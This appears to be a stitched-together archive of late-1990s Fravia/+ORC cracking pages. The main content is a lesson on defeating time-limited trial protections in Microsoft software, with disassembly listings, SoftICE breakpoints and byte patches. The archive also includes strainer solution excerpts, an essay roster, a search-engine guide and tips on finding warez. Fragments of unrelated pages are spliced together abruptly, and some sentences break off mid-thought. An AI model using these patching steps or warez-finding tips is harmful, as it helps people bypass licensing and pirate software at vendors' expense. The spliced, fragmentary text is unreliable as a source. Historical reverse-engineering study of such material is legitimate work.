7 or 8 "second hand" CD-ROMs packed full with Microsoft, Lotus,
Norton, Symantec, you name it, applications all "protected"
through this crap. The cost of this bunch of CD-ROMs was the
equivalent of a bottle of Dry Martini, maybe less. The same
software is sold, unlocked, to zombies and lusers for ludicrous
amounts of money.
Never buy CD-ROMs magazines when they appear! Be cool! Buy
them two or three months after the publishing date! Buy
"remainders" or "second hand" CD-ROM magazines "at kilo price"...
Come to think of it, never buy *anything* when it appears or when
some (paid) advertiser tells you to... remember that "trends",
"vogues", "fashions" and "modes" are only different names for the
whips that drill and chain the dull-witted slaves of this
loathsome society: "clever crackers consider cool, crack cheap,
cheat customary culture" (a rhetorical figure: an "Alliteration".
To defend yourself learn rhetoric... it's a more powerful and
more useful weapon than Kung-fu).
The "triple" password protection routine in (c) Instant
Access is very interesting from a cracker point of view. It's a
relatively complex scheme: I'll teach you to crack it in two
welcomed.
E-mail +ORC
+ORC an526164@anon.penet.fi
+HCU 1998
Strainer solutions
(Updated 15 september 1997)
Here are the solutions to the +HCU 1998 strainer, and the
names of the new +HCUkers...
If you check +ORC's lesson 4.2., You'll be able to see that the required solution to
the strainer should have consisted of four parts:
This has been considerably facilitated by us, as I published on my page the old
french version of MsMoney I found myself and +gthorne inserted it inside his
orcpaks... an +HCU "bonus", therefore, to those few that have found the
ENGLISH version of it (for instance on Fidonet, which many of you probably
don't even know that exists)
- Part 2: The reason for the crack +ORC used for MS Project
1) +ReZiDeNt's solution
"...by the way, you were right about MS Money 3 demo - it was *very* hard to
find. I eventually found it after a lot of intensive and careful searching via
FIDONet, rather ironic considering it's decline due to the incredible success of
the Internet"
2) +Yoshi's solution
"...jnb 00470E07 ; this makes sure that you havent set your clock before the
installation code, change to jump just for the hell of it"
3) +Alt-F4's solution
"...The Call to 81:10AE calculates a number based on the date. The formula is
number=(year-1948)*512 + (month-1) * 32 + (day-1)"
4) +Toxine's solution
"...for those unfamiliar with Hiew (who?), press F3 to edit, position your cursor
then press TAB to switch into ASM coding. Now, can you feel its POWER!"
5) SiuL+Hacky's solution
"...it is important to know how the program gets the installation date. There are
two possibilities:
1) Get it once and store it (even with copies in memory).
6) +Zer0's solution
"... I have actually done the cracking on MSMONEY 1.0 and just simply checked
if the later versions 3 and 5 have the same protection routines. (Of course they
have the same protections! Amazing!)"
7) iNCuBuS++' solution
"...All we have to do is to bypass the call to nagscreen opening routine. We can't
just noop it because it is referenced by the relocation table and the system will try
to correct the segment address of the call when it loads the program thus
corrupting any instruction we put there and the program will not run. So, we will
put a JMP immediately after the call to ShowWindow... ...+ORC's SOLUTION
ALSO DOESN'T WORK IN ALL CASES !!! It works if the current date is greater
than expiration date or if it is outside the range 1984 to 2049 ! If the current date
is lower than the installation date (but it doesn't go below 1984) protection will
react - the nagscreen will pop up and the program will terminate."
8) +heres' solution
"...But near the second address, no conditional jumps are present and
breakpointing the first you get a Protection Fault... We have a chance, make a
backtrace buffer. So breakpoint the only CS+C8:360F and re-enter your date.
You have to establish the buffer range, so type: bpr cs:0000 cs:360F T and
re-enter the date. With the SHOW command of SoftICE, you can see:"
9) +Aitor's solution
"...Ripping the encryption code we can write a little program to do the job (it may
help in future Micro$oft cracking sessions :)) ... here you got the TP/BASM code
(with a few little modifications you can get the C translation)"
A) +swann's solution
"...Nuff said about this truly ZEN crack of an intrinsically useless program. Don't
ask me why I've done this. I don't know... ...+orc suggested we nop this jump at
8.17e8 out. I don't know whom he is kidding, but certainly noone who's studied
his tutorials. Obviously, we _do_ want to take that jump, and therefore patch
"EB46" for "7246" at 8.17e8."
B) +Malattia's solution
"...Ah, I usually run Wdasm just ONE time to disasm the progs, then I save the
file and read it with LIST.COM... it's very fast! ...If you have Borland Resource
Workshop, give a look to dialog 0494hex, that is 1172. It is the "Avertissement de
limite de valid" we do not want to have to deal with!"
C) +Chineese's solution
Contributors that can get in if they complete their solution before the end of
November
+SNiKkEL, he has sent a solution which is partly correct, yet incomplete and not
"explaining" much
Lera+h, she has sent a solution which is partly correct, yet incomplete.
Contributors that wont get in this year
All other contributors, that do not get in, should understand why I decided this
way just looking at the above (good) solutions. Better luck next year. If you
believe this is injust, and if you are sure that you should get in, because you think
that your solution is as good as the solutions above (or even better in your
opinion), feel free to send a (motivated) protest to fravia+ or +gthorne. It will be
read and examined by +gthorne, fravia+ and +Sync, and I will accept their
opinion as binding.
+ORC
(Hic sunt tabulae: Best viewed with good old Courier New 8)
more complex schemes that may not be so evident if you cannot recognise
their "physiognomy" at the first glance (or if you do not yet "feel" them :=)
We'll crack in this lesson a Microsoft program from 1994, another one from
1995 (this first one) and two from 1997. I believe this should give you a
wide enough palette of MS-protections, and that with this knowledge you
should be able to crack every single piece of software Microsoft may throw
at you in the next couple of years (at least :=)
You'll see for instance that the "cmp eax,ecx" instruction
at the heart of some of these MS-schemes is a constant characteristic,
that you'll meet again and again, which differs from the typical "beggar off
on bad flag ax" setting that the shareware authors usually use.
horrors once I have already found the first (and maybe only) one,
nor have I envy to wait 90 days just to see if something else
snaps... should it happen (which I DO NOT believe, seen how
primitive MS-protections look like) I'll then simply add the new
crack to this section, we'll see.
---------------------------------------------
Some elementary MUST KNOW when you crack time protections:
Date and Time stamps in the root directory (old flavour)
The root directory (in DOS) is a simple table of 32-byte
entries, defining each file on the root directory. Bytes 0-7 have
the file name, 8-10 have the file extension, 11 hydes the
attribute flags, 12-21 are at times used for other protection
tricks, 22-23 have the *TIME* stamp, 24-25 have the *DATE* stamp,
26-27 the starting cluster number and 28-31 the file size.
The date and time stamps can record any date from January
1, 1980 through December 31, 2099. The time stamp is accurate to
two seconds. The date and time stamps are each 2 byte values that
are recorded by using the following equations:
DATE = DAY+64*MONTH+512*(YEAR-1980)
TIME = SECONDS/2+32*MINUTES+2048*HOURS
In the time entry, the hour occupies the first 5 bits, the
minutes the next 6, and the second the last 5. The seconds are
actually stored as the number of seconds divided by 2, so the
clock is accurate to 2 seconds. In the date entry, the year
(subtracted from 1980... that is 0x7bc) is stored in the first
7 bits, the month in the next 4 and the day in the last 5 bits.
How do we recover these values? Here the commonest tricks:
seconds AND byte 22 with 11111; then multiply by 2
Minutes AND byte 23 with 111; then shift left 3 and
add byte 23 shifted right 5
Hours Shift byte 23 right 3
Day AND byte 24 with 11111
Month AND byte 25 with 1, Multiply by 8 and
add byte 24 shifted right 5
Year Add byte 25 to 1980 (0x7cb) and shift right 1
I hope you have the intelligence to understand by yourself
why these methods work... the point is that as soon as you see
something like that going on in the code you are examining, you
will know that they are fiddling with date or time stamps (may
be necessary, for instance, in order to reset the date and time
stamps of an opened file without leaving any trace behind).
struct dosdate_t {
-------------------------------------------------------
------------------------------------------------
CALL [KERNEL32!GetLocalTime]
mov dx, [EBP-10] that's the year, will be something like
7CD=1997
mov dl, [EBP-0E] the month... lower part of a register is enough
mov al, [EBP-0C] that's the day of the week, ditto
mov al, [EBP-0A] that's the day
mov dl, [EBP-08] that's the hour
mov al, [EBP-06] that's the minute
mov dl, [EBP-04] that's the second
and if somebody would care, you would have had also
mov dx, [EBP-02] that's the millisecond, but few time
protections care for that (which is stupid to say the least,
since so many ideas come immediately to the mind :=)
------------------------------------------------
:first_call_snippet_(called_from_:0504A3F7)_calls_at_024FBE
:05024FA4 55 push ebp
:05024FA5 8BEC mov ebp, esp
:05024FA7 83EC0C sub esp, 0000000C
:05024FAA 53 push ebx
:05024FAB 8D45F4 lea eax, [ebp-0C]
:05024FAE 8B1D04452C05 *** mov ebx, [052C4504] ;get holyloc
:05024FB4 50 push eax
:05024FB5 885DFE mov [ebp-02], bl ;create holylow
"live" winice approach go ahead... I'll even tell you right now
a couple of things that can be useful in order to crack some
(other) protections: for Cinderellas schemes bpx MessageBox or
bpx GetLocalTime or bpx GetFileTime and look WHO gets the "time"
data a little before the nagscreen snaps... I did not check but
I'm sure that if you do it here, you'll have quite a lot of calls
along the program, whereby the "initializing" calls from our
"sector 24F" will snap at the beginning (and at the end) of the
target life and our protection call (the one we cracked the bad
flag of) i.e.:
will happen JUST BEFORE the snap... so you can crack thatta way
too... these patterns are always the same.
BPM DS:xxxxxxxx W GT 1E
Breakpoint first time that the byte at location DS:xxxxxxxx has
a value written to it that's greater than 1Eh (30)
Useful qualifiers are EQ (equal) NE (not equal) GT (greater than)
LT (less than) and M (mask) this last one is pretty complicated
but allows powerful breakpointing for dongles cracking: after
having given your routine command "tss", begin your dongle
breakpointing using, for instance:
BPINT 21 AH=0F
Breakpoint on openfile (funny how many INT 21 are execited under
windoze)
(old style, with Winice 3 it's BPINT 21 IF EAX=0F)
BPINT 21 AH=2A
Breakpoint on GetDate
(old style, with Winice 3 it's BPINT 21 IF EAX==2A)
When we are still at it, remember that in 32bit mode there are
only TWO selectors (when you search the whole memory for
instance):
28:0 and 4 virtual gigabytes of CODE
30:0 and 4 virtual gigabytes of DATA and STACK
And now two MUST KNOW winice commands that will spare you a lot
of wasted time when you delve inside the huge windows codebulks
we have to peruse:
This said, Winice 3.0 allows POWERFUL breakpointin, like for instance:
bpx ntoskrnl!ExAllocatePoolWithTag IF (esp->c == 1) DO "data1;dd eax"
(I will explain all this more thoroughly in the lessons about Windows NT)
**********************************************
Back to our time protections cracking (and Micro$oft bashing :=).
For a start here is HOW easily you would have checked your boot
sector with an old DOS system...
1) Run debug (or, better, symdeb)
2) -L 100 2 0 1
(that's Load into memory address Ox100 from drive C (that's
number 2... 0 is A, 1 is B and 2 is C, duh, starting from sector
0 for 1 sector whatever you find there. Here you have the boot
sector of the PC I'm writing on:
-L 100 2 0 1
-d 100 L 200
17D3:0100 EB 3C 90 4D 53 57 49 4E-34 2E 31 00 02 40 01 00 k [.MSWIN4.1..@..
17D3:0110 02 00 02 00 00 F8 9A 00-3F 00 40 00 3F 00 00 00 .....x..?.@.?...
17D3:0120 41 44 26 00 80 00 29 FC-0F 5F 3C 20 20 20 20 20 AD&...)|._[
17D3:0130 20 20 20 20 20 20 46 41-54 31 36 20 20 20 FA 33 FAT16 z3
17D3:0140 C9 8E D1 BC FC 7B 16 07-BD 78 00 C5 76 00 1E 56 I.Q[|{..=x.Ev..V
17D3:0150 16 55 BF 22 05 89 7E 00-89 4E 02 B1 0B FC F3 A4 .U?"..~..N.1.|s$
17D3:0160 06 1F BD 00 7C C6 45 FE-0F 8B 46 18 88 45 F9 38 ..=.|FE~..F..Ey8
17D3:0170 4E 24 7D 22 8B C1 99 E8-77 01 72 1A 83 EB 3A 66 N$}".A.hw.r..k:f
17D3:0180 A1 1C 7C 66 3B 07 8A 57-FC 75 06 80 CA 02 88 56 !.|f;..W|u..J..V
17D3:0190 02 80 C3 10 73 ED 33 C9-8A 46 10 98 F7 66 16 03 ..C.sm3I.F..wf..
17D3:01A0 46 1C 13 56 1E 03 46 0E-13 D1 8B 76 11 60 89 46 F..V..F..Q.v.`.F
17D3:01B0 FC 89 56 FE B8 20 00 F7-E6 8B 5E 0B 03 C3 48 F7 |.V~8.wf.^..CHw
17D3:01C0 F3 01 46 FC 11 4E FE 61-BF 00 07 E8 23 01 72 39 s.F|.N~a?..h#.r9
17D3:01D0 38 2D 74 17 60 B1 0B BE-D8 7D F3 A6 61 74 39 4E 8-t.`1.>X}s&at9N
17D3:01E0 74 09 83 C7 20 3B FB 72-E7 EB DD BE 7F 7D AC 98 t..G;{rgk]>.},.
17D3:01F0 03 F0 AC 84 C0 74 17 3C-FF 74 09 B4 0E BB 07 00 .p,.@t.[.t.4.;..
17D3:0200 CD 10 EB EE BE 82 7D EB-E5 BE 80 7D EB E0 98 CD M.kn>.}ke>.}k`.M
17D3:0210 16 5E 1F 66 8F 04 CD 19-BE 81 7D 8B 7D 1A 8D 45 .^.f..M.>.}.}..E
17D3:0220 FE 8A 4E 0D F7 E1 03 46-FC 13 56 FE B1 04 E8 C1 ~.N.wa.F|.V~1.hA
------------------------------------
Processing file : C:\PROGRAM FILES\MICROSOFT PUBLISHER 97\Mspub.exe
Offset 0x1ac5e9
- This trial version of Publisher has [expir]ed. To order a permanent
copy, call 1-800-426-9400 or visit the Publisher site on the World
Wide Web at http://www.microsoft.com/publisher/. To uninstall this
version choose Add/Remove Programs i
Offset 0x1ac6f4
- This trial version of Publisher will [expir]e in %d days. For more
information about Publisher 97, call 1-800-426-9400 or visit the
Publisher site on the World Wide Web at http://www.microsoft.com/publisher/.
----------------- digression end --------------
As I said... there are MANY doors you may trespass to crack this
target... let's continue with the simplest one in my opinion:
FC /b mspub.ded mspub.exe
(that's the DOS command FileCompare that you are giving, duh)
:004F410E 890DD0225C00 mov [005C22D0], ecx ;ecx NOT 1 flag 22D0 FALSE
:004CBB38 F3 repz
:004CBB39 A5 movsd
:004CBB3A 8BCA mov ecx, edx
:004CBB3C 6A00 push 00000000
:004CBB3E 83E103 and ecx, 00000003
:004CBB41 6880000000 push 00000080
:004CBB46 F3 repz
:004CBB47 A4 movsb
:004CBB48 6A03 push 00000003
:004CBB4A 8D85A4FEFFFF lea eax, [ebp+FFFFFEA4]
:004CBB50 6A00 push 00000000
:004CBB52 6A01 push 00000001
:004CBB54 6800000080 push 80000000
:004CBB59 50 push eax
:004CBB5A FF15C8005D00 Call dword ptr [005D00C8];CreateFileA
:004CBB60 8945FC mov [ebp-04], eax
:004CBB63 83F8FF cmp eax, FFFFFFFF
:004CBB66 7507 jne 004CBB6F
:004CBB68 6AFE push FFFFFFFE
:004CBB6A E88D850200 call 004F40FC
:004CBB6F 6A00 push 00000000
:004CBB71 8B45FC mov eax, [ebp-04]
:004CBB74 6A00 push 00000000
:004CBB76 6850D90100 push 0001D950
:004CBB7B 50 push eax
:004CBB7C FF1598005D00 Call dword ptr [005D0098];SetFilePointer
:004CBB82 83F8FF cmp eax, FFFFFFFF
:004CBB85 7507 jne 004CBB8E
:004CBB87 6AE7 push FFFFFFE7
:004CBB89 E86E850200 call 004F40FC
:004CBB8E 6A00 push 00000000
:004CBB90 8D45F0 lea eax, [ebp-10]
:004CBB93 50 push eax
:004CBB94 8D4DF8 lea ecx, [ebp-08]
:004CBB97 6A04 push 00000004
:004CBB99 8B55FC mov edx, [ebp-04]
:004CBB9C 51 push ecx
:004CBB9D 52 push edx
:004CBB9E FF1590005D00 Call dword ptr [005D0090];ReadFile
:004CBBA4 85C0 test eax, eax
:004CBBA6 7406 je 004CBBAE
:004CBBA8 837DF004 cmp [ebp-10], 00000004
:004CBBAC 7407 je 004CBBB5
:004CBBAE 6A03 push 00000003
:004CBBB0 E847850200 call 004F40FC
:004CBBB5 8B45FC mov eax, [ebp-04]
:004CBBB8 50 push eax
:004CBBB9 FF154C015D00 Call dword ptr [005D014C];CloseHandle
:004CBBBF C745FCFFFFFFFF mov [ebp-04], FFFFFFFF
:004CBBC6 817DF86F6C626F cmp [ebp-08], 6F626C6F
:004CBBCD 0F85C2000000 jne 004CBC95
:004CBBD3 6A00 push 00000000
OK, that's enough dead listing for now... we know now that the
REAL protection may call :004CBA50 (the beginning of the huge
code snippet above with GetFileTime and other file opening and
closing goodies)... and wdasm gives us the caller (only one...
THE TARGET!... don't you feel it?)
Let's see what happens here... once more with GetLocalTime? Let's
see... here you have three calling "points" for GetLocalTime:
at 45804D, at 46A308 and at 5DA056, let's call them 45, 46 and
5D. Since the one at 46 is referenced by not less than 80 calls,
we will deem it more important than the first one at 45 (three
calls) and the third one at 5D (two calls).... but wait...
Name:
DialogID_0494, # of Controls=004, Caption:"Notice of Expiration"
001 - ControlID:02CE, Control Class:"" Control Text:"The 60-day
limit of this working model has expired."
:0006.0012 57 push di
:0006.0013 6A00 push 0000
:0006.0015 9AFFFF0000 call USER.GETWINDOWWORD
(GETWINDOWWORD returns a 16-bit WORD value from the extra
info associated with a window. Push handle and index (in
bytes) in the extra memory where the value will be found)
:0006.001A 8BF0 mov si, ax
:0006.001C 8B460C mov ax, [bp+0C]
:0006.001F 3DA100 cmp ax, 00A1 ;is it 161?
:0006.0022 7503 jne 0027 ;may call NoE if not
...
:0006.0027 7729 ja 0052 ;may call NoE if more
...
:0006.0052 3D1501 cmp ax, 0115
:0006.0055 7503 jne 005A ;if not 115
...
:0006.005A 7712 ja 006E ;more? Call NoE
...
:0006.006E 2D0102 sub ax, 0201 ;sub 201
:0006.0071 7503 jne 0076 ;may call NoE
...
:0006.0076 48 dec ax ;-1
:0006.0077 48 dec ax ;-1
:0006.0078 7503 jne 007D ;may call NoE
...
:0006.007D 2D9102 sub ax, 0291 ;sub 291
:0006.0080 7503 jne 0085 ;do not call NoE
:0006.0082 E9D701 jmp 025C ;call NoE ******
...
:0006.025C 57 push di
:0006.025D 9AFFFF0000 call USER.GETPARENT
(This returns the handle to a window's parent. Function
returns window's parent handle if successful and NULL if
no parent or error)
Ok, for block 6 what should we say? Can we start our crack from
here?
that's the check for all open windows (Useless with 32 bit)
|
:0052.2468 6A01 push 0001
:0052.246A 6A00 push 0000
:0052.246C 6A00 push 0000
:0052.246E 9A1B250000 call USER.SENDMESSAGE
That's it, folk!... but, wait... all this DOES NOT work
correctly... did I forgot something?
THAT's the Strainer! Solve it (you have time until SEPTEMBER 1997).
E-mail +ORC
+ORC na526164@anon.penet.fi
Updated see
below
" Stealing the goods inside the store is irrelevant: being able to do is the prize " (Jeff S.)
Attention shareware
programmers
You'll find a LOT of useful tricks in order to better protect your software inside
Some of you are really good, and will surely, IMO, pass the +HCU strainer (for the +HCU 1999)... in the mean
time... would you like to work already NOW for the +HCU? Please do, we have already more than 100
contributors (+HCUkers and friends alltogether), yet we need more help!
You may join right now one of the following ongoing projects:
Ourtools Tools to reverse the hell out of it: new stuff inside:
Our own tools ~
an +HCU workshop 01 Mar 1998
How to defeat us crackers at our new stuff inside:
Programmer's corner The Anti-cracking side ~
own game 04 Mar 1998
Compacted programs reverse
new stuff inside:
Projunpa Packers & Unpackers engineering: ~
02 Feb 1998
TRON, RTPatch, Protexe,
+HCU's Taxonomy
The best essays (Advanced
Advanced new stuff inside:
Advanced cracking cracking series - started October ~
20 Mar 1998
1997). Not for beginners!
Papers on reverse engineering new stuff inside:
HCU Papers HCU Papers ~
arguments - started March 1998). 20 Mar 1998
Timelock dll cracking, the
new stuff inside:
Timelock Timelock cracking tl32v20.dll and various "timelock" ~
20 Jan 1997
vagaries
Various "snippets" about (more or new stuff inside:
snippets Snippets ~
less) useful tools 21 Jan 1998
BE WARNED: A lot of essays have been "moved" inside the various "projects" above!
The following roster lists only the essays that have NOT YET found a place inside a"project"... se the academy
pages in order to have a COMPLETE list of all essays.. check the complete +HCU database!
(Just click onto the gif below)
The DOS4GW CD-ROM timestamp by Yamato (he got a new lesson from +ORC for this) - 05 March 1997
Windows 95 Screen Saver Passwords reverse engineering by Lonely Hawk (cryptography) - 20 March 1997
Homesite secrets
(Universal Double protections: time *and* registration number) - by ReZiDeNt - 08 July 1997
aUTOWINNET 95 v4.0b
(An interesting protection based on a "weird" use of a keyfile) - by xOANON / UCF - 19 August 1997
Enterprise REXX
(Reversing a "tool of the trade) - by +drlan - 18 September 1997
+HCU's Taxonomy!
You'll find some new "subdivisions":
http://www.instinct.org/fravia/student.htm (11 of 12) [2/7/2001 2:54:28 PM]
student.htm +HCU projects and essays
Advanced cracking
Timelock cracking
TL32V20.dll
(Started 07 May 1997 - Updated 20 January 1998))
Snippets
(c) Fravia (msre) 1995, 1996, 1997, 1998. All rights reserved
R lab
partly updated
November 1998 understood them, you'll be able to go even
further (pretty quickly) if you learn perl
(THE language for bots building) and if
you will study and research a LOT.
H Fravia's Nofrill
not carry silly backgrounds, useless
frames or slow loading futile publicity).
There is also a "light" version, which
Web design you may want to copy onto your hard disk
(1998)
as a quick search starting point.
Since search engines do play a relevant
role when searching (duh), I have also
added a search engines' vagaries page,
that you may find interesting.
Of course, you should learn how to
search the web using inter alia my own
lessons!
2) keep in mind that searching on the web is THE CONTRARY of a search in a normal library: in a
library, the more generic your search, the more easy it is to find what you are seeking, on the web the
more specific your search, the more easy it is to find what you are seeking. So it is relatively easy to
re-find a page that you happen to have read, even if it has changed site, as long as you remember
(well) a part of it. Try it: just cut and paste into Altavista these words (from my main page) "contains
many teachings, and will help you gain knowledge that you will not find elsewhere. Please wander
slowly inside: sip a good" (Yes, all of the preceding 'blue' words: don't forget the " and remember that
there's no limit at what you can paste inside a search engine form)... you'll find -amazingly enough-
my very page!
3) It helps to do lots of searches from lots of different search engines, each of the big engines is
different, and each has its own presentation format
For instance, Yahoo does things in categories, Alta Vista uses phrases best, and Lycos is good for
huge keyword searches. Webcrawler gives at times surprisingly good results. Hotbot has a HUGE
database, and is more than good for just quickie searches, anyway as it seems: Altavista and Hotbot
are 'going down', while Infoseek is 'catching up'... Hotbot is easyly configurated to avoid 'stale' links...
well, yes, there are quite a lot of "must know" differences between all the main search engines.
I still prefer Altavista though... my advice?
Use always (at least) TWO search engines (Infoseek and Altavista IMO) and a directory!
According to myself (and that's not a bad source of info :-) combined searches using multiple engines
increase the likelihood of finding the desired information by 4-5 times. A very good idea is also to
use one of the existing inference robots and scripts...
4) DO NOT GET DISTRACTED! Web surfing is terribly distracting! One search session out of three
crashes before reaching the desired target because you got lost on those 'interesting side-trips' that
you found on your way (translated, this means that you moronically just forgot what you originally
wanted and began following godzilla knows which paths). Be coeherent (and be 'hard', man: real
seekers are quite concentrated fellows) write down your target and go for it (and NOTHING else until
you find it!)
Devote a minimum of 30 minutes and a maximum of 60 to your search session, that's the best time
range IMO, less isn't enough and more bores. Remember also that real queries are made in phases:
phase one is 'broad', after a while (say a week, you must first digest and understand what you found)
you go for a more concentrated approach, and then, last phase, you really find what you wanted (after
having perused the newsgroups and searched the archies).
5) Search USENET! Remember that there are THREE search strategies and that usenet searching is
the second and very powerful one!
ONE: you search yourself (searching);
TWO: you use people that have already searched (combing), for instance on usenet, and use
the links and info that they have gathered during years-long queries (no need to re-invent the
wheel every friday)
THREE: you look what kind of people (and from where) come and sniff at the info you
provide on your own sites (klebing)... but that's advanced stuff and you'll learn it in due time...
6) I would recommend that you turn off auto image loading before submitting a request to ANY
search engine when you'll use the forms below, this will speed up your searches CONSIDERABLY.
(Come to think of it, it's always better to turn off mage loading IN GENERAL, unless you really need
to find/see images). Btw, the control about image loading options is another of the many fields where
the new slick Opera browser demonstrates its absolute superiority over both browsersaurii...
If you want to learn more about search engines, go to the search engines' vagaries page
AltaVista is USEFUL: it's the largest Web index, with millions of Web pages AND articles from usenet
newgroups (and these may be REALLY useful). Altavista is still the search engine of choice for all "old
hands" of the web, yet Infoseek is now (1998) slowly catching up!
AltaVista can also be used to get all the page linked to your page. I can get with the following link the pages
linked to a no more existing page of mine (useful in order to find stale links): try it. Another useful method
is to use the *HTML TAGS*, if you for instance search "image:bettie", AltaVista will find quite a lot of
images about Bettie Page.
Search Method: Keyword
Data Base System: Full text, largest and more inclusive indices
Operators: If used without suitable operators Altavista produce enormous noise and little signal
For the more paranoids (or the more careful) among you, here is a link to the anonymized Altavista
search form
(Courtesy of fravia... do not leave your tracks around!)
Yahoo (it's an attempt to catalogue the entire Web, search on a topic) Very good for beginners, well
organized.
Yahoo! Search
Lykos Big and slow, Lykos has a large number of binary files in its database, has greater depth than most
search engines, because it also indexes FTP archives and Gopher menus. Besides, you can search with
Lykos per email. There are some other interesting Lykos resources as well, including a list of the frequency
of over six million words used on the Web. Lycos is one of those facilities that's almost too good, presenting
you with more information than you really need, but it's a great resource if you use it carefully to narrow
down your search.
Go Get It
Find
Lycos catalog Point reviews a2z directory
lycos_ftp normal
lycos_ftp advanced
Select: All Sources -- Search the World Wide Web & Special Collection
World Wide Web -- Search the entire World Wide Web
Special Collection -- 1 million articles not on other search engines
Webcrawler fast and cool, returns surprisingly relevant results. This excellent search engine indexes the contents of Web
documents, so you can find pages that contain a particular word or phrase.
titles 25
Search the web and show for results
Search
InfoSeek Net Search Good output, their attempt to get "commercial" failed against the sound Web altruistic spirit (:-), it's now
a free service. This claims to be the largest set of searchable indexes to WWW pages and to USENET newsgroups. 1998:
INFOSEEK is getting better and better! (They value QUALITY very high!)
Search for information about:
HotBot (ex Inktomi, claims to have the largest index and the best scalability in terms of keeping up with the Web's
exponential growth, claims to be able to re-index the entire Web every week)
Well known for its awful colors, this was one of the BEST search engines available, unfortunately slowed down by useless
graphics frills.
MAGELLAN
Search Reset
Internet search wizard Compuserve's forms' selection, this one you are using is better
ftp search 3000 FTP sites around the world, quite slow and busy at times. ("This server is located in Trondheim, Norway")
Archie request form (but you better use Archie trough email, see here how to do it).
Here a useful list of Archie services (gateways) in the World Wide Web. The latest version is always at
http://www.nexor.com/public/archie
All search engines of the planet... the coveted list by Andrei Nedashkovsky (some of the links do not work, though)
Planet search
Well, just try it "The Intelligent Massively Fast Parallel Web Search"... usual useless hype, yet this little juwel will really
produce an *.htm file with all links (in correct order). A file that you may immediately use... an impressive inference tool
indeed for automated bots and human searchqueries!
Dogpile web search (Dogpile is the "summa" of the main search engines)
Here is how you perform an e-mail search on dogpile... Infact, this is the above form "cracked".
Dogpile searches ALL main search engines and compacts the results for you. Often e-mail searches are cleverer than live
searches on the web (for the same reasons that make "dead listing" more effective than live winice approach when reverse
engineering, btw :-)
email an Agora server (be ashamed if you do not know what an Agora robot is) with following TEXT (if you want to search
for "numega" AND "softice" for instance :-)
send http://207.126.101.190/?q=%22numega+softice%22\&to=forty\&sort=key
And, last but not least, these are my all in one forms (courtesy
of fravia)
(Altavista, Excite, Lycos, Netsearch, Webcrawler, Yahoo, ftpsearch, filez.com, interpix image search)
http://voyeur.mckinley.com/cgi-bin/voyeur.cgi
You should copy the "professional" ("light") version of the search engines' forms on this same page on your hard disk and
choose it as "bookmarked" or "hot" (or as "favourite" if you are a Micro$oft's slave). Use it as your "main search engines"
starting page. You'll have quite a lot of advantages:
1) You'll have all main search engines at your fingertips
2) The search starting page won't be fetched from a busy server and will therefore load immediately
3) The search starting page won't have any images (and therefore don't suffer ANY delay whatsoever)
4) The search starting page will spare you HOURS of connection wasted time!
5) The search starting page will be edited by YOU with your own additions and comments! (send me any interesting
addition :-)
For historical reasons this page feeds an old fashioned separate Web-Counter:
How to
search
the web
(Updated:
July 1999)
Fravia's
lessons
based on
some
original
private
emailings
from
+ORC
Robin
Hood's
stratagems
Surreal5's
search tips
Cassandra's
search
engines
Other
essays and
tools
[go to the heavy search engines page] [go to the light search
engine page]
An introduction to web-searching
(Websearching, the sublime art)
I see it coming... in a few years (actually already now, even if most zombies establishments have not yet realized
it) one of the most important jobs will be, of course, websearcher.
We'll have many specialized branches: web-searchers, web-stalkers, web-seekers and so on. Zen and 'feeling' as
well as a very broad 'global' knwoledge will be required.
It's a good anthidot to the hyperspecialisation that has nearly brought the whole silly commercial oriented society
we are compelled to live in into a well deserved dead end: only large-minded, capable searchers will be able to
keep the 'larger' over-perspective, and will be able to find ANYTHING they need (for free, of course), from
Vivaldi's Concerto n.7 in F for four violins and cello (it's on the Web) through the second edition of the Police
Criminelle, Technique et Tactique (it's on the Web) to A Western Australian survival kit for writing English (it's on
the Web).
For the first time in the history of humanity it DOES NOT MATTER ANYMORE (for knowledge purposes) if you
are located in a big rich city with huge libraries and universities or if you happen to live in the middle of nowhere
or in a very poor country!
EVERYTHING is on the Web for free! I mean: any book, any newspaper, any university paper and any image,
moreover (soon) any sound, any music!
This means that (albeit amidst mountains of useless garbage) ALL KNOWLEDGE is on the Web, for free, for you
to discover and enjoy!
If you don't believe it, just learn how to search!
A good searcher is the kind of guy that can gather in a couple of hours all the material you need to write
that nasty University Paper it would have took you at least three months to complete!
A good searcher is the kind of guy that -given half a dozen computers and stable internet access- can solve
any librarian problem for any (and wherever located!) middle sized town!
A good searcher is the kind of guy YOU will need very oft and very badly -that is, unless you learn the
sublime art of searching yourself... and that's the purpose of this section of my site: a small contribution to
the next generation of wizard searchers :-)
You'll gain here knowledge that is very 'handy', as you will see, and that you will not easily find elsewhere, even if
I have noticed that many "universities zombies" have already begonnen to use (not to spread, to use, a subtle yet
significant difference :-) the techniques that we have invented and published on this site, giving very seldom -how
characteristic of university "habitat" and mentality!- any sign of recognition of our work :-(
Anyway, I'm sure that the importance of this section will be more and more clear with the development of the Web
(or at least of the 'sound' and neither commercialized nor brainwashed part of it :-)
This is a 'living' workshop, of course, that will florish gathering more and more additions from all the great wizard
searchers among my readers (and beyond, since "real" wizard searchers will obviously find this section all by
themselves :-)
Hope to hear from you, and to receive contributions, from many searchers. Remember: the whole thing works only
if we build on the shoulders of others and if others build on our ones... if you just leech, you loose and we loose!
(that's incidentally the reason I have started with my last lesson to produce 'light' public versions and 'heavy'
versions for contributors :-(
Robin Hood... Surreal5... Cassandra... you lazy scoundrels... where are your promised next lessons and essays?
lesson_6 ~ Ftping files, agora queries and emailing altavista ~ December 1996 ~ complete
lesson_7 ~ W3gate, search spiders, error messages and evaluation of results ~ March 1997 ~ complete
lesson_8 ~ Advanced searching techniques (combing and klebing) ~ November 1997 ~ complete
lesson_10 ~ Let the bots search for you ~ and build your own search-bots :-) ~ June 1998 ~ 'light'
Surreal5's lessons
Well, Surreal5's lessons (and his introduction) that you'll find "here", are IMO more important for the
approaches and the techniques they deal with than for their specific subjects (basically how to find warez).
Nevertheless, since warez ARE on the web (much too much, IMO) why shouldn't you learn how to find them?
This is what Surreal5 wrote:
I've tried to organise this (provisorial) essay so, that both beginners and
advanced users can get something out of each lesson, and can almost
directly use it. Even if you are already an expert on how to find the
example types i used, you may get something out of it, a different
perspective, something you hadn't thought of. I like Robin Hoods tutorial,
he has a broader experience than i do, but i feel my lessons give faster
results, with less effort spent on learning boolean ,and other tool
specifics. Consider this a crash course if you will. Consider it a
preliminary to Robin Hoods tutorial. Consider it an alternative view from a
lazy guy who wants results fast ;)
Methodolgically ('Nethodologically'? :-) Surreal5's documents are very important essays. I have tried myself some
of his tips... for instance, if you need to navigate and find goodies inside huge 'messy' sites (like mine :-) you just
